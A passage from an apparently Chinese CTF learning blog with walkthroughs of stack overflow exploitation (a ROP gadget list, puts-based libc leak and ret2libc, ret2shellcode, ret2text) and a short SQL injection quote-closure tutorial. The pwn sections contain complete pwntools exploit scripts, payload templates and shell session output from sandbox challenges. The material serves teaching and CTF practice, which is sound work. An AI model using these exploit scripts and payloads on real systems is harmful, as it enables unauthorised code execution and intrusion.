    0x0000000000401042 : fisubr dword ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x401020
    0x000000000040107a : hlt ; nop dword ptr [rax + rax] ; ret
    0x000000000040100e : je 0x401012 ; call rax
    0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404038 ; jmp rax
    0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404038 ; jmp rax
    0x000000000040103b : jmp 0x401020
    0x0000000000401130 : jmp 0x4010c0
    0x0000000000401153 : jmp 0xffffffffb9401156
    0x00000000004010ac : jmp rax
    0x000000000040115c : leave ; ret
    0x0000000000401032 : loop 0x401063 ; add byte ptr [rax], al ; push 0 ; jmp 0x401020
    0x00000000004010ad : loopne 0x401115 ; nop ; ret
    0x0000000000401112 : mov byte ptr [rip + 0x2f1f], 1 ; pop rbp ; ret
    0x0000000000401157 : mov eax, 0 ; leave ; ret
    0x00000000004010a7 : mov edi, 0x404038 ; jmp rax
    0x00000000004010af : nop ; ret
    0x000000000040107b : nop dword ptr [rax + rax] ; ret
    0x000000000040112c : nop dword ptr [rax] ; jmp 0x4010c0
    0x00000000004011bd : nop dword ptr [rax] ; ret
    0x00000000004010a6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
    0x00000000004011b4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004011b6 : pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004011b8 : pop r14 ; pop r15 ; ret
    0x00000000004011ba : pop r15 ; ret
    0x00000000004011b3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004011b7 : pop rbp ; pop r14 ; pop r15 ; ret
    0x0000000000401119 : pop rbp ; ret
    0x00000000004011bb : pop rdi ; ret
    0x00000000004011b9 : pop rsi ; pop r15 ; ret
    0x00000000004011b5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
    0x0000000000401036 : push 0 ; jmp 0x401020
    0x0000000000401046 : push 1 ; jmp 0x401020
    0x0000000000401016 : ret
    0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
    0x00000000004011c5 : sub esp, 8 ; add rsp, 8 ; ret
    0x00000000004011c4 : sub rsp, 8 ; add rsp, 8 ; ret
    0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
    0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404038 ; jmp rax
    0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404038 ; jmp rax
    0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
    
    Unique gadgets found: 67

    这个程序很小,可供使用的Gadget非常有限,其中没有可以用来执行系统调用的Gadget,所以很难实现任意代码执行。但可以想办法先获取一些动态链接库(如libc)的加载地址,再使用libc中的Gadget构造可以实现任意代码执行的ROP。
    程序中常常有像puts、gets等libc提供的库函数,这些函数再内存中的地址会写在程序的GOT表中,当程序调用库函数时,会在GOT表中读出对应函数在内存中的地址,然后跳转到该地址执行,所以先利用puts函数打印库函数地址,减掉该库函数与libc加载基地址的偏移,就可以计算出libc的基地址。

    .plt:0000000000401030
    .plt:0000000000401030 ; Attributes: thunk
    .plt:0000000000401030
    .plt:0000000000401030 ; int puts(const char *s)
    .plt:0000000000401030 _puts           proc near      ; CODE XREF:main+F↓p
    .plt:0000000000401030                 jmp     cs:off_404018
    .plt:0000000000401030 _puts           endp
    .plt:0000000000401030
    .plt:0000000000401036 ; --------------------------------------------------

    puts函数被保存在0x404018位置,只要调用puts(0x404018),就会打印puts函数在libc中的地址。

    from pwn import *
    p=process('./rop')
    pop_rdi=0x4011bb
    puts_got=0x404018
    puts=0x401030
    p.sendline(b'a'*18+p64(pop_rdi)+p64(puts_got)+p64(puts))
    p.recvuntil(b'\n')
    addr=u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(addr))
    
    [+] Starting local process './rop': pid 25192
    0x7f8f18a09210
    [*] Stopped process './rop' (pid 25192)

    根据puts函数在libc库中的偏移地址,就可以计算出libc的基地址,然后可以利用libc中的gadget构造可以执行”/bin/sh”的ROP,从而获得shell。

    参数传递

    32位传参是通过栈来传递

    利用write函数泄露libc中write的地址的payload模板:

    payload = 'a' *xxx + p32(write_plt) + p32(ret_addr) + p32(1) + p32(got_write) + p32(4)

    32位含参调用模板:

    payload = 'a' * xxx + p32(fun1_addr) + p32(fun2_addr) + p32(arg_1) + p32(arg_2)….

    64位前六个参数传递是靠寄存器rdi,rsi,edx,ecx,r8,r9,然后再栈。

    我们仅能控制栈中的数据,因此需要利用一些gadgets。

    pop | ret 利用模板:

    payload = 'a' * xx + p64(gadget_addr) + p64(rdi) + p64(func_addr)

    pop | call 利用模板:

    payload = 'a' * xx + p64(gadget) + p64(func_addr) + p64(rdi)

    一个rdi适合一个参数的函数传参 参考链接

    三个参数用__libc_csu_init()这个函数 参考链接

    六个参数可以用_dl_runtime_resolve()这个函数 参考链接

    下面我们看道简单的例题:

    链接:https://pan.baidu.com/s/12DpUsJyep7zvFd03ka5uaQ
    提取码:abcd

    官方wp如下(我只保留了exp的关键部分并加了部分注释):

    test_thread = 0x4011b6
    prdi = 0x0000000000401313
    ret = 0x000000000040101a
    
    pay = b'c'* (0x30-4)                          #垃圾数据,一直填充至i
    pay += p32(0x30-4)                            # int i,防止被意外改变
    pay += p64(0)                                 # 填充rbp
    pay += p64(prdi) +p64(binary.got['puts'])     #引用got表的puts给rdi
    pay += p64(binary.plt['puts'])
    pay += p64(test_thread)                       #返回test_thread函数
    sl(pay)
    ru(b'\n')
    puts = uu64(ru(b'\n', drop=True))             #得到put地址
    leak('puts', puts)
    
    lbase = puts-libc.sym['puts']                 #得到libc基址
    system = lbase+libc.sym['system']             #得到system地址
    binsh = lbase+next(libc.search(b'/bin/sh'))   #得到binsh地址
    pay = b'c'* (0x30-4)                          #垃圾数据,一直填充至i
    pay += p32(0x30-4)                            # int i,防止被意外改变
    pay += p64(0)                                 # 填充rbp
    pay += p64(prdi) +p64(binsh)                  #binsh传给rdi
    pay += p64(ret)                               # 栈对齐
    pay += p64(system)                            # 返回system函数

    大概就是这么个流程,不懂可以留言

  • 栈溢出——ret2shellcode

    前言

    上篇文章中我们讲解了ROP的简单使用,这篇我们继续学习ROP的使用。本篇还涉及一个新知识点,就是shellcode。ret2shellcode代表返回到shellcode中即控制函数的返回地址到预先设定好的可读写区域中去执行shellcode代码。

    shellcode是一段可执行攻击的机器码,一般利用pwntools直接生成。也有多种利用方式,详细查看大佬博文

    工具准备

    IDA、DBG、pwndbg、peda、pwntools

    例题描述(ctfhub技能树 ret2shellcode )

    nc challenge-2402cf6d104cabfd.sandbox.ctfhub.com 23767
    附件:pwn

    ROP过程

    问题分析

    下载附件,解压查看基本信息。

    root@192:/home/cjm/桌面# file pwn
    pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=94500626298378cae494e018a28e70c1a187d603, not stripped

    发现是个64位的elf文件 。

    然后我们检查它的保护机制 。

    gdb-peda$ checksec pwn
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : disabled
    PIE       : disabled
    RELRO     : Partial

    发现安全措施都没有开启。我们把它放进IDA中,按F5进行反编译,看看main函数的源代码。

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF
    
      buf[0] = 0LL;
      buf[1] = 0LL;
      setvbuf(_bss_start, 0LL, 1, 0LL);
      puts("Welcome to CTFHub ret2shellcode!");
      printf("What is it : [%p] ?\n", buf);
      puts("Input someting : ");
      read(0, buf, 0x400uLL);
      return 0;
    }

    发现read()存在溢出,通过buf相对于rbp的偏移量,我们知道了shellcode可以利用的长度为0x10+8=24 ,但是因为其本身是有push指令的,如果我们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode,所以我们将其放在后面,即payload的格式为:

    'a'*24+[buf_addr+32]+shellcode
    

    这里面的32是24位覆盖地址长度+8位返回地址长度。

    最后,我们只需要知道buf地址就可以了。

    编写exp

    from pwn import *
    context.arch='amd64'
    sh = process("./pwn")
    buf_addr = sh.recvuntil(b"]") # 获取buf地址
    sh.recvuntil(b'Input someting : ')
    shell=asm(shellcraft.sh())
    sh.sendline(b'a'*24 + p64(int(buf_addr[-15:-1],16)+0x20)+shell)
    sh.interactive()
    

    执行获得shell。

    [x] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767
    [x] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767: Trying 47.98.148.7
    [+] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767: Done
    
    [*] Switching to interactive mode
    
    ls
    bin
    dev
    flag
    lib
    lib32
    lib64
    pwn
    cat flag
    ctfhub{c6b3a8c98d78d8ad3852177b}
    [*] Got EOF while reading in interactive
    
  • 栈溢出——ret2text

    前言

    栈溢出是缓冲区溢出的一种。函数的局部变量通常保存在栈上,如果这些缓冲区发生溢出,就是栈溢出。最经典的栈溢出利用方式是覆盖函数的返回地址[即ROP](Return Oriented Programming),以达到劫持程序控制流的目的。

    在x86架构中,CPU执行call指令会先将当前call指令的下一条指令的地址入栈,再跳转到被调用函数。当被调用函数需要返回时就执行ret指令,接着CPU会执行出栈,栈顶的地址会赋给EIP寄存器。这个地址让被调用函数知道返回到调用函数的什么位置,叫做返回地址。理想情况下,取出的地址就是之前调用call存入的地址,以保证可以返回到父函数继续执行。

    ret2text原理

    ret2text顾名思义,即控制返回地址指向程序本身已有的代码(.text)[利用地址]并执行。

    工具准备

    IDA、DBG、pwndbg、peda、pwntools

    例题描述(ctfhub技能树 ret2text )

    nc challenge-dbabb54d9de9a05e.sandbox.ctfhub.com 29815
    附件:pwn

    ROP过程


    问题分析

    下载附件,解压查看基本信息。

    发现是个64位的elf文件 。

    然后我们检查它的保护机制 。

    root@192:/home/cjm/桌面# gdb
    GNU gdb (Debian 10.1-2) 10.1.90.20210103-git
    Copyright (C) 2021 Free Software Foundation, Inc.                      
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.
    Type "show copying" and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <https://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
        <http://www.gnu.org/software/gdb/documentation/>.
    
    For help, type "help".
    Type "apropos word" to search for commands related to "word".
    pwndbg: loaded 198 commands. Type pwndbg [filter] for a list.
    pwndbg: created $rebase, $ida gdb functions (can be used with print/break)                                                                    
    gdb-peda$ checksec pwn
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : disabled
    PIE       : disabled
    RELRO     : Partial
    gdb-peda$ 
    

    发现安全措施都没有开启。我们把它放进IDA中,按F5进行反编译,看看main函数的源代码。

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char v4[112]; // [rsp+0h] [rbp-70h] BYREF
    
      setvbuf(stdout, 0LL, 2, 0LL);
      setvbuf(stdin, 0LL, 1, 0LL);
      puts("Welcome to CTFHub ret2text.Input someting:");
      gets(v4);
      puts("bye");
      return 0;
    }

    有一些输入输出函数调用且未对输入数据进行长度限制,下面我们再看看secure函数内容

    int secure()
    {
      unsigned int v0; // eax
      int result; // eax
      int v2; // [rsp+8h] [rbp-8h] BYREF
      int v3; // [rsp+Ch] [rbp-4h]
    
      v0 = time(0LL);
      srand(v0);
      v3 = rand();
      __isoc99_scanf(&unk_4008C8, &v2);
      result = v2;
      if ( v3 == v2 )
        result = system("/bin/sh");
      return result;
    }

    里面调用了system('/bin/sh')。由此可见,这道题是通过gets()函数传递变量覆盖返回地址执行 system('/bin/sh') 获得shell。

    我们需要知道两个关键信息:

    1.变量的地址

    2.system('/bin/sh') 的内存地址

    第一步,通过peda调试,反汇编找到变量的地址

    gdb-peda$ file ./pwn
    Reading symbols from ./pwn...
    (No debugging symbols found in ./pwn)
    gdb-peda$ disassemble main
    Dump of assembler code for function main:
       0x00000000004007c7 <+0>:     push   rbp
       0x00000000004007c8 <+1>:     mov    rbp,rsp
       0x00000000004007cb <+4>:     sub    rsp,0x70
       0x00000000004007cf <+8>:     mov    rax,QWORD PTR [rip+0x20089a]        # 0x601070 <stdout@@GLIBC_2.2.5>
       0x00000000004007d6 <+15>:    mov    ecx,0x0
       0x00000000004007db <+20>:    mov    edx,0x2
       0x00000000004007e0 <+25>:    mov    esi,0x0
       0x00000000004007e5 <+30>:    mov    rdi,rax
       0x00000000004007e8 <+33>:    call   0x400660 <setvbuf@plt>
       0x00000000004007ed <+38>:    mov    rax,QWORD PTR [rip+0x20088c]        # 0x601080 <stdin@@GLIBC_2.2.5>
       0x00000000004007f4 <+45>:    mov    ecx,0x0
       0x00000000004007f9 <+50>:    mov    edx,0x1
       0x00000000004007fe <+55>:    mov    esi,0x0
       0x0000000000400803 <+60>:    mov    rdi,rax
       0x0000000000400806 <+63>:    call   0x400660 <setvbuf@plt>
       0x000000000040080b <+68>:    lea    rdi,[rip+0xc6]        # 0x4008d8
       0x0000000000400812 <+75>:    call   0x400610 <puts@plt>
       0x0000000000400817 <+80>:    lea    rax,[rbp-0x70]
       0x000000000040081b <+84>:    mov    rdi,rax
       0x000000000040081e <+87>:    mov    eax,0x0
       0x0000000000400823 <+92>:    call   0x400650 <gets@plt>
       0x0000000000400828 <+97>:    lea    rdi,[rip+0xd4]        # 0x400903
       0x000000000040082f <+104>:   call   0x400610 <puts@plt>
       0x0000000000400834 <+109>:   mov    eax,0x0
       0x0000000000400839 <+114>:   leave  
       0x000000000040083a <+115>:   ret    
    End of assembler dump.
    gdb-peda$ 
    

    变量地址为[rbp-0x70]。我们知道在64位系统中,ebp占8字节。这里rbp后就是ebp,ebp后才是返回地址。我们要填充变量到覆盖返回地址,就要使变量长度为0x70+8=0x78(这个也是偏移长度)。

    第二步,同样反汇编调试

    gdb-peda$ disassemble secure
    Dump of assembler code for function secure:
       0x0000000000400777 <+0>:     push   rbp
       0x0000000000400778 <+1>:     mov    rbp,rsp
       0x000000000040077b <+4>:     sub    rsp,0x10
       0x000000000040077f <+8>:     mov    edi,0x0
       0x0000000000400784 <+13>:    call   0x400640 <time@plt>
       0x0000000000400789 <+18>:    mov    edi,eax
       0x000000000040078b <+20>:    call   0x400630 <srand@plt>
       0x0000000000400790 <+25>:    call   0x400680 <rand@plt>
       0x0000000000400795 <+30>:    mov    DWORD PTR [rbp-0x4],eax
       0x0000000000400798 <+33>:    lea    rax,[rbp-0x8]
       0x000000000040079c <+37>:    mov    rsi,rax
       0x000000000040079f <+40>:    lea    rdi,[rip+0x122]        # 0x4008c8                                                                      
       0x00000000004007a6 <+47>:    mov    eax,0x0
       0x00000000004007ab <+52>:    call   0x400670 <__isoc99_scanf@plt>
       0x00000000004007b0 <+57>:    mov    eax,DWORD PTR [rbp-0x8]
       0x00000000004007b3 <+60>:    cmp    DWORD PTR [rbp-0x4],eax
       0x00000000004007b6 <+63>:    jne    0x4007c4 <secure+77>
       0x00000000004007b8 <+65>:    lea    rdi,[rip+0x10c]        # 0x4008cb                                                                      
       0x00000000004007bf <+72>:    call   0x400620 <system@plt>
       0x00000000004007c4 <+77>:    nop
       0x00000000004007c5 <+78>:    leave  
       0x00000000004007c6 <+79>:    ret    
    End of assembler dump.
    

    由于要调用该语句,就拿该语句的地址0x4007b8

    编写exp

    from pwn import *
    host = 'challenge-dbabb54d9de9a05e.sandbox.ctfhub.com'
    port = 29815
    #p = process("./pwn")
    p = connect(host, port)
    payload = 'A' * 0x78 + p64(0x4007b8)
    p.sendline(payload)
    p.interactive()

    如若出现错误TypeError: can only concatenate str (not "bytes") to str,是因为python3中bytes类型不能与str类型直接相加,可以写成这样来 b'A' * 0x78 + p64(0x4007b8) 来避免报错。

    运行拿到flag。

    [x] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815
    [x] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815: Trying 47.98.148.7
    [+] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815: Done
    [*] Switching to interactive mode
    Welcome to CTFHub ret2text.Input someting:
    bye
    ls
    bin
    dev
    flag
    lib
    lib32
    lib64
    pwn
    cat flag
    ctfhub{ef5af582ab6cd2dc8fbc897e}
    

    参考资料:点击这里

  • sql注入闭合方式判断详解

    前言

    在回顾sql注入时,发现对闭合方式的判断sql语句并没有理解到位,有时候使用会报错,于是有了这篇文章。本文sql语句在navicat中实验,navicat已连接到MySQL数据库。(PS:下面所有的图_选中的部分为输入的判断语句,且该实验环境本身会为其加单引号[此处自动添加单引号应该是为了解析语法和单引号闭合的单引号不一样,单引号闭合是后端语言获取用户传入的数据进行的闭合操作],不影响)

    数值型

    当输入1时,有查询结果无报错

    图1

    当输入1' 时,会报错,未闭合,多了个'

    图2(忘选中了,1’是输入的)

    当输入1" 时 ,虽然闭合了,但也会报错,因为没有把1闭合会导致1多余构成语法错误,我个人认为(我下了相应版本的手册,奈何全是英文,目前能力有限,暂时无法学习该内容只能靠实验猜想)数据库解析你命令时,如果你输入有引号,会直接从你引号起始位置开始读取,如果该引号前面有内容则会报语法错误

    图片3

    综上,数值型闭合就是当加'"都会报错,不加任何东西就是正确的就说明是该类型闭合。当然像 1 and 1=1 #1 and 1=2 # 也可以同样理解 /*前面true 返回1(返回数据是and前的数值),后面false,返回为空*/

    单引号型

    当输入1时,有查询结果无报错

    图4

    当输入1' 时,会报错,未闭合,多了个'

    图5

    当输入1" 时,有查询结果,无报错

    图6

    综上,单引号闭合就是当加'会报错,其他都是正确的就说明是该类型闭合。

    双引号型

    同理,双引号闭合就是当加"会报错,其他都是正确的就说明是该类型闭合。

    图7
    图8
    图9

    后记:文中若有错误,或理解不当的地方还请大佬们指正。

Index